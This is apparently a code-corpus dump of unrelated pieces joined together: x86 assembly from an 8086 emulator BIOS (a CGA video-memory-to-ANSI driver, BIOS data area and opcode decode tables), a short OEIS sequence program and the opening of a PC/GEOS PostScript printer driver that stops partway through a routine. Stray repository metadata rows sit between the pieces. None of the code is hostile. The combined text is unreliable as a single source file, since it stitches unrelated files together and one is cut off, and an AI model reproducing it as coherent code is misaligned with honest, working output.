; Sets key available flag on I/O port 0x64, outputs key scan code in AL to I/O port 0x60, and calls INT 9
io_key_available:
push ax
mov al, 1
out 0x64, al
pop ax
out 0x60, al
int 9
ret
; Reaches up into the stack before the end of an interrupt handler, and sets the carry flag
reach_stack_stc:
xchg bp, sp
or word [bp+4], 1
xchg bp, sp
iret
; Reaches up into the stack before the end of an interrupt handler, and clears the carry flag
reach_stack_clc:
xchg bp, sp
and word [bp+4], 0xfffe
xchg bp, sp
iret
; Reaches up into the stack before the end of an interrupt handler, and returns with the current
; setting of the carry flag
reach_stack_carry:
jc reach_stack_stc
jmp reach_stack_clc
; This is the VMEM driver, to support direct video memory access in 80x25 colour CGA mode.
; It scans through CGA video memory at address B800:0, and if there is anything there (i.e.
; applications are doing direct video memory writes), converts the buffer to a sequence of
; ANSI terminal codes to render the screen output.
;
; Note: this destroys all registers. It is the responsibility of the caller to save/restore
; them.
vmem_driver_entry:
cmp byte [cs:in_update], 1
je just_finish ; If we are already in the middle of an update, skip. Needed for re-entrancy
inc byte [cs:int8_ctr]
cmp byte [cs:int8_ctr], 8 ; Only do this once every 8 timer ticks
jne just_finish
gmode_test:
mov byte [cs:int8_ctr], 0
mov dx, 0x3b8 ; Do not update if in Hercules graphics mode
in al, dx
test al, 2
jz vram_zero_check
just_finish:
ret
vram_zero_check: ; Check if video memory is blank - if so, do nothing
mov byte [cs:in_update], 1
sti
mov bx, 0x40
mov ds, bx
mov di, [vmem_offset-bios_data] ; Adjust for CRTC video memory offset register
shl di, 1
push di
mov bx, 0xb800
mov es, bx
mov cx, 0x7d0
mov ax, 0x0700
cld
repz scasw
pop di
je vmem_done ; Nothing has been written to video RAM - no need to update
cmp byte [cs:vram_dirty], 1 ; Cleared screen so always need to update
je vram_update
mov bx, 0xc800
mov ds, bx
mov si, 0
mov cx, 0x7d0
cld
repz cmpsw
jne vram_update ; Video RAM is changed - need to update
mov bx, 0x40
mov ds, bx
mov bh, [crt_curpos_y-bios_data]
mov bl, [crt_curpos_x-bios_data]
cmp bh, [cs:crt_curpos_y_last]
jne restore_cursor ; Cursor position changed (but nothing else) so update just that
cmp bl, [cs:crt_curpos_x_last]
jne restore_cursor
jmp vmem_done
vram_update:
mov bx, 0x40
mov es, bx
push cs
pop ds
mov byte [int_curpos_x], 0xff
mov byte [int_curpos_y], 0xff
cmp byte [es:cursor_visible-bios_data], 0
je dont_hide_cursor
call ansi_hide_cursor
dont_hide_cursor:
mov byte [last_attrib], 0xff
mov bx, 0x40
mov es, bx
mov di, [es:vmem_offset-bios_data] ; Adjust for CRTC video memory offset register
shl di, 1
sub di, 2 ; Combined offset
mov bx, 0xb800
mov es, bx
; Set up the initial cursor coordinates. Since the first thing we do is increment the cursor
; position, this initial position is actually off the screen
mov bp, -1 ; Row number
mov si, 79 ; Column number
disp_loop:
; Advance to next column
add di, 2
inc si
cmp si, 80
jne cont
; Column is 80, so set to 0 and advance a line
loop_next_line:
mov si, 0
inc bp
; Bottom of the screen reached already? If so, we're done
cmp bp, 25
je restore_attrib
; See if this line has changed in video RAM
cmp byte [cs:vram_dirty], 1
je cont
push si
push di
mov bx, 0xb800
mov ds, bx
mov bx, 0xc800
mov es, bx
mov si, di
push es
mov bx, 0x40
mov es, bx
sub di, [es:vmem_offset-bios_data] ; Adjust for CRTC video memory offset register
sub di, [es:vmem_offset-bios_data]
pop es
mov cx, 80 ; One row's worth of characters
cld
repz cmpsw
pop di
pop si
je vmem_next_line ; This line is unchanged in video RAM, so do not update
vmem_copy_buf:
; Copy the changed line to our double buffer at C800:0
push cx
push si
push di
push es
mov bx, 0x40
mov es, bx
mov si, di
sub di, [es:vmem_offset-bios_data] ; Adjust for CRTC video memory offset register
sub di, [es:vmem_offset-bios_data]
pop es
mov cx, 80 ; One row's worth of characters
cld
rep movsw
pop di
pop si
pop cx
; We want to start the update at the first character which differs - so calculate its position.
mov bx, 79
sub bx, cx
add di, bx
add di, bx
add si, bx
push ds
pop es ; Set ES back to B800
jmp cont
vmem_next_line:
add di, 160
jmp loop_next_line ; Line is unchanged in video RAM
cont:
push cs
pop ds
cmp byte [es:di], 0 ; Ignore null characters in video memory
je disp_loop
mov ax, bp
mov bx, si
mov dh, al
mov dl, bl
cmp dh, [int_curpos_y] ; Same row as the last time?
jne ansi_set_cur_pos
push dx
dec dl
cmp dl, [int_curpos_x] ; One column to the right since the last time?
pop dx
je skip_set_cur_pos
ansi_set_cur_pos:
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, dh ; Row number
inc al
call puts_decimal_al
mov al, ';' ; ANSI
extended_putchar_al
mov al, dl ; Column number
inc al
call puts_decimal_al
mov al, 'H' ; Set cursor position command
extended_putchar_al
mov [int_curpos_y], dh
skip_set_cur_pos:
mov [int_curpos_x], dl
mov dl, [es:di+1]
cmp dl, [last_attrib]
je skip_attrib
mov [last_attrib], dl
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, dl
and al, 8 ; Bright attribute now in AL
cpu 186
shr al, 3
cpu 8086
call puts_decimal_al
mov al, ';'
extended_putchar_al
push dx
and dl, 7 ; Foreground colour now in DL
mov bx, colour_table
mov al, dl
xlat
call puts_decimal_al
mov al, ';'
extended_putchar_al
pop dx
cpu 186
shr dl, 4
cpu 8086
and dl, 7 ; Background colour now in DL
mov al, dl
xlat
add al, 10
call puts_decimal_al
mov al, 'm' ; Set cursor attribute command
extended_putchar_al
skip_attrib:
mov al, [es:di]
cmp al, 32 ; Non-printable ASCII? (< 32 decimal)
jae just_show_it
mov bx, low_ascii_conv
cs xlat ; Convert to printable representation (mostly spaces)
just_show_it:
extended_putchar_al
jmp disp_loop
restore_attrib:
mov al, 0x1B ; Escape
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, '0' ; Reset attributes
extended_putchar_al
mov al, 'm'
extended_putchar_al
restore_cursor:
; On a real PC, the 6845 CRT cursor position registers take place over the BIOS
; Data Area ones. So, if the cursor is not off the screen, set it to the CRT
; position.
mov bx, 0x40
mov ds, bx
mov bh, [crt_curpos_y-bios_data]
mov bl, [crt_curpos_x-bios_data]
mov [cs:crt_curpos_y_last], bh
mov [cs:crt_curpos_x_last], bl
cmp bh, 24
ja vmem_end_hidden_cursor
cmp bl, 79
ja vmem_end_hidden_cursor
mov al, 0x1B ; ANSI
extended_putchar_al
mov al, '[' ; ANSI
extended_putchar_al
mov al, bh ; Row number
inc al
call puts_decimal_al
mov al, ';' ; ANSI
extended_putchar_al
mov al, bl ; Column number
inc al
call puts_decimal_al
mov al, 'H' ; Set cursor position command
extended_putchar_al
restore_cursor_visible:
cmp byte [cursor_visible-bios_data], 1
jne vmem_end_hidden_cursor
call ansi_show_cursor
jmp vmem_done
vmem_end_hidden_cursor:
call ansi_hide_cursor
vmem_done:
mov byte [cs:vram_dirty], 0
mov byte [cs:in_update], 0
ret
; Show cursor using ANSI codes
ansi_show_cursor:
mov al, 0x1B
extended_putchar_al
mov al, '['
extended_putchar_al
mov al, '?'
extended_putchar_al
mov al, '2'
extended_putchar_al
mov al, '5'
extended_putchar_al
mov al, 'h'
extended_putchar_al
ret
; Hide cursor using ANSI codes
ansi_hide_cursor:
mov al, 0x1B
extended_putchar_al
mov al, '['
extended_putchar_al
mov al, '?'
extended_putchar_al
mov al, '2'
extended_putchar_al
mov al, '5'
extended_putchar_al
mov al, 'l'
extended_putchar_al
ret
; ****************************************************************************************
; That's it for the code. Now, the data tables follow.
; ****************************************************************************************
; Standard PC-compatible BIOS data area - to copy to 40:0
bios_data:
com1addr dw 0
com2addr dw 0
com3addr dw 0
com4addr dw 0
lpt1addr dw 0
lpt2addr dw 0
lpt3addr dw 0
lpt4addr dw 0
equip dw 0b0000000000100001
;equip dw 0b0000000100100001
db 0
memsize dw 0x280
db 0
db 0
keyflags1 db 0
keyflags2 db 0
db 0
kbbuf_head dw kbbuf-bios_data
kbbuf_tail dw kbbuf-bios_data
kbbuf: times 32 db 'X'
drivecal db 0
diskmotor db 0
motorshutoff db 0x07
disk_laststatus db 0
times 7 db 0
vidmode db 0x03
vid_cols dw 80
page_size dw 0x1000
dw 0
curpos_x db 0
curpos_y db 0
times 7 dw 0
cur_v_end db 7
cur_v_start db 6
disp_page db 0
crtport dw 0x3d4
db 10
db 0
times 5 db 0
clk_dtimer dd 0
clk_rollover db 0
ctrl_break db 0
soft_rst_flg dw 0x1234
db 0
num_hd db 0
db 0
db 0
dd 0
dd 0
kbbuf_start_ptr dw 0x001e
kbbuf_end_ptr dw 0x003e
vid_rows db 25 ; at 40:84
db 0
db 0
vidmode_opt db 0 ; 0x70
db 0 ; 0x89
db 0 ; 0x51
db 0 ; 0x0c
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
kb_mode db 0
kb_led db 0
db 0
db 0
db 0
db 0
boot_device db 0
crt_curpos_x db 0
crt_curpos_y db 0
key_now_down db 0
next_key_fn db 0
cursor_visible db 1
escape_flag_last db 0
next_key_alt db 0
escape_flag db 0
notranslate_flg db 0
this_keystroke db 0
this_keystroke_ext db 0
timer0_freq dw 0xffff ; PIT channel 0 (55ms)
timer2_freq dw 0 ; PIT channel 2
cga_vmode db 0
vmem_offset dw 0 ; Video RAM offset
ending: times (0xff-($-com1addr)) db 0
;test1: dw 0
; Keyboard scan code tables
a2scan_tbl db 0xFF, 0x1E, 0x30, 0x2E, 0x20, 0x12, 0x21, 0x22, 0x0E, 0x0F, 0x24, 0x25, 0x26, 0x1C, 0x31, 0x18, 0x19, 0x10, 0x13, 0x1F, 0x14, 0x16, 0x2F, 0x11, 0x2D, 0x15, 0x2C, 0x01, 0x00, 0x00, 0x00, 0x00, 0x39, 0x02, 0x28, 0x04, 0x05, 0x06, 0x08, 0x28, 0x0A, 0x0B, 0x09, 0x0D, 0x33, 0x0C, 0x34, 0x35, 0x0B, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x27, 0x27, 0x33, 0x0D, 0x34, 0x35, 0x03, 0x1E, 0x30, 0x2E, 0x20, 0x12, 0x21, 0x22, 0x23, 0x17, 0x24, 0x25, 0x26, 0x32, 0x31, 0x18, 0x19, 0x10, 0x13, 0x1F, 0x14, 0x16, 0x2F, 0x11, 0x2D, 0x15, 0x2C, 0x1A, 0x2B, 0x1B, 0x07, 0x0C, 0x29, 0x1E, 0x30, 0x2E, 0x20, 0x12, 0x21, 0x22, 0x23, 0x17, 0x24, 0x25, 0x26, 0x32, 0x31, 0x18, 0x19, 0x10, 0x13, 0x1F, 0x14, 0x16, 0x2F, 0x11, 0x2D, 0x15, 0x2C, 0x1A, 0x2B, 0x1B, 0x29, 0x0E
a2shift_tbl db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0
; Interrupt vector table - to copy to 0:0
int_table dw int0
dw 0xf000
dw int1
dw 0xf000
dw int2
dw 0xf000
dw int3
dw 0xf000
dw int4
dw 0xf000
dw int5
dw 0xf000
dw int6
dw 0xf000
dw int7
dw 0xf000
dw int8
dw 0xf000
dw int9
dw 0xf000
dw inta
dw 0xf000
dw intb
dw 0xf000
dw intc
dw 0xf000
dw intd
dw 0xf000
dw inte
dw 0xf000
dw intf
dw 0xf000
dw int10
dw 0xf000
dw int11
dw 0xf000
dw int12
dw 0xf000
dw int13
dw 0xf000
dw int14
dw 0xf000
dw int15
dw 0xf000
dw int16
dw 0xf000
dw int17
dw 0xf000
dw int18
dw 0xf000
dw int19
dw 0xf000
dw int1a
dw 0xf000
dw int1b
dw 0xf000
dw int1c
dw 0xf000
dw int1d
dw 0xf000
dw int1e
itbl_size dw $-int_table
; Conversion from CGA video memory colours to ANSI colours
colour_table db 30, 34, 32, 36, 31, 35, 33, 37
; Conversion from non-printable low ASCII to printable
low_ascii_conv db ' ', 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250, '><|!|$', 250, '|^v><--^v'
; Conversion from UNIX cursor keys/SDL keycodes to scancodes
unix_cursor_xlt db 0x48, 0x50, 0x4d, 0x4b
; Conversion from SDL keycodes to Home/End/PgUp/PgDn scancodes
pgup_pgdn_xlt db 0x47, 0x4f, 0x49, 0x51
; Internal variables for VMEM driver
int8_ctr db 0
in_update db 0
vram_dirty db 0
last_attrib db 0
int_curpos_x db 0
int_curpos_y db 0
crt_curpos_x_last db 0
crt_curpos_y_last db 0
; INT 8 millisecond counter
last_int8_msec dw 0
last_key_sdl db 0
; Now follow the tables for instruction decode helping
; R/M mode tables
rm_mode0_reg1 db 3, 3, 5, 5, 6, 7, 12, 3
rm_mode012_reg2 db 6, 7, 6, 7, 12, 12, 12, 12
rm_mode0_disp db 0, 0, 0, 0, 0, 0, 1, 0
rm_mode0_dfseg db 11, 11, 10, 10, 11, 11, 11, 11
rm_mode12_reg1 db 3, 3, 5, 5, 6, 7, 5, 3
rm_mode12_disp db 1, 1, 1, 1, 1, 1, 1, 1
rm_mode12_dfseg db 11, 11, 10, 10, 11, 11, 10, 11
; Opcode decode tables
xlat_ids db 9, 9, 9, 9, 7, 7, 25, 26, 9, 9, 9, 9, 7, 7, 25, 48, 9, 9, 9, 9, 7, 7, 25, 26, 9, 9, 9, 9, 7, 7, 25, 26, 9, 9, 9, 9, 7, 7, 27, 28, 9, 9, 9, 9, 7, 7, 27, 28, 9, 9, 9, 9, 7, 7, 27, 29, 9, 9, 9, 9, 7, 7, 27, 29, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 51, 54, 52, 52, 52, 52, 52, 52, 55, 55, 55, 55, 52, 52, 52, 52, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 8, 8, 8, 15, 15, 24, 24, 9, 9, 9, 9, 10, 10, 10, 10, 16, 16, 16, 16, 16, 16, 16, 16, 30, 31, 32, 54, 33, 34, 35, 36, 11, 11, 11, 11, 17, 17, 18, 18, 47, 47, 17, 17, 17, 17, 18, 18, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 12, 12, 19, 19, 37, 37, 20, 20, 49, 50, 19, 19, 38, 39, 40, 19, 12, 12, 12, 12, 41, 42, 43, 44, 53, 53, 53, 53, 53, 53, 53, 53, 13, 13, 13, 13, 21, 21, 22, 22, 14, 14, 14, 14, 21, 21, 22, 22, 53, 0, 23, 23, 53, 45, 6, 6, 46, 46, 46, 46, 46, 46, 5, 5
ex_data db 0, 0, 0, 0, 0, 0, 8, 8, 1, 1, 1, 1, 1, 1, 9, 36, 2, 2, 2, 2, 2, 2, 10, 10, 3, 3, 3, 3, 3, 3, 11, 11, 4, 4, 4, 4, 4, 4, 8, 0, 5, 5, 5, 5, 5, 5, 9, 1, 6, 6, 6, 6, 6, 6, 10, 2, 7, 7, 7, 7, 7, 7, 11, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 21, 21, 21, 21, 21, 21, 0, 0, 0, 0, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 0, 0, 0, 0, 0, 0, 0, 0, 8, 8, 8, 8, 12, 12, 12, 12, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 16, 22, 0, 0, 0, 0, 1, 1, 0, 255, 48, 2, 0, 0, 0, 0, 255, 255, 40, 11, 3, 3, 3, 3, 3, 3, 3, 3, 43, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 21, 0, 0, 2, 40, 21, 21, 80, 81, 92, 93, 94, 95, 0, 0
std_flags db 3, 3, 3, 3, 3, 3, 0, 0, 5, 5, 5, 5, 5, 5, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 5, 5, 5, 5, 5, 5, 0, 1, 3, 3, 3, 3, 3, 3, 0, 1, 5, 5, 5, 5, 5, 5, 0, 1, 3, 3, 3, 3, 3, 3, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
base_size db 2, 2, 2, 2, 1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1, 2, 2, 2, 2, 2, 1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 3, 3, 3, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 3, 0, 0, 2, 2, 2, 2, 4, 1, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 1, 2, 2
i_w_adder db 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
i_mod_adder db 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1
; Table 19
; 12 is a 'Reserved Flag' and used for FLAG_XF 9 in jxx_dec_x.
flags_mult db 0, 2, 4, 6, 7, 8, 9, 10, 11, 12
; Table 15, 16, 17, 18
; Flag 9 is the always-zero flag (XF).
; In the original 8086tiny BIOS this was on 40-base.
; Since i8086emu isn't storing the FLAGS inside the RAM rather than
; using a separate object we can use the Flag ID without any base.
jxx_dec_a db 8, 0, 3, 0, 4, 1, 9, 9
jxx_dec_b db 9, 9, 9, 3, 9, 9, 9, 3
jxx_dec_c db 9, 9, 9, 9, 9, 9, 4, 4
jxx_dec_d db 9, 9, 9, 9, 9, 9, 8, 8
parity db 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1
; This is the format of the 36-byte tm structure, returned by the emulator's RTC query call
timetable:
tm_sec equ $
tm_min equ $+4
tm_hour equ $+8
tm_mday equ $+12
tm_mon equ $+16
tm_year equ $+20
tm_wday equ $+24
tm_yday equ $+28
tm_dst equ $+32
tm_msec equ $+36
| 19.410733 | 909 | 0.669812 |
1d53d420c3265078335020dc7e01ce270750571c | 614 | asm | Assembly | oeis/081/A081909.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/081/A081909.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/081/A081909.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A081909: a(n) = 3^n(n^2 - n + 18)/18.
; 1,3,10,36,135,513,1944,7290,26973,98415,354294,1259712,4428675,15411789,53144100,181752822,617003001,2080591515,6973568802,23245229340,77096677311,254535261273,836828256240,2740612539186,8943601988565,29090242257543,94331465184654,305023899399480,983702075563323,3164622956269605,10157295850002684,32530798870954542,103975021707797745,331690613804479539,1056221507645549370,3357672582199535892,10656719106086937591,33771292941824802225,106867380331463374152,337712929418248022250
mov $1,$0
bin $0,2
mov $2,$1
lpb $2
add $0,6
mul $0,3
sub $2,1
lpe
div $0,9
add $0,1
| 43.857143 | 481 | 0.822476 |
bf53291c8ae1313be25cde03629111141d5b3c5e | 5,002 | asm | Assembly | Driver/Printer/PScript/pscriptGraphics.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Printer/PScript/pscriptGraphics.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Printer/PScript/pscriptGraphics.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: PostScript print driver
FILE: pscriptGraphics.asm
AUTHOR: Jim DeFrisco, 15 May 1990
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 5/15/90 Initial revision
DESCRIPTION:
This file contains most of the code to implement the PostScript
print driver graphics mode support
$Id: pscriptGraphics.asm,v 1.1 97/04/18 11:56:06 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintSwath
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Print a page-wide bitmap
CALLED BY: GLOBAL
PASS: bx - PState handle
bp - PState segment
dx.cx - VM file and block handle for Huge bitmap
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 1/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintSwath proc far
bitmapFile local word push dx
bitmapBlock local word push cx
bitmapXres local word
bitmapYres local word
gstate local word
uses ax,bx,cx,dx,si,di,ds,es
.enter
call MemDerefES ; es = PState segment
; We need to get the bitmap height so we can update the cursor
; position for the next swath, and the bitmap resolution so we
; can scale the bitmap correctly.
push bp
movdw bxax, dxcx ; bx.ax = file.block
call VMLock
mov dx, bp
pop bp
mov ds, ax ; ds <- HugeArray dir block
mov si, size HugeArrayDirectory ; skip past dir header
mov ax, ds:[si].B_height
mov es:[PS_swath].B_height, ax
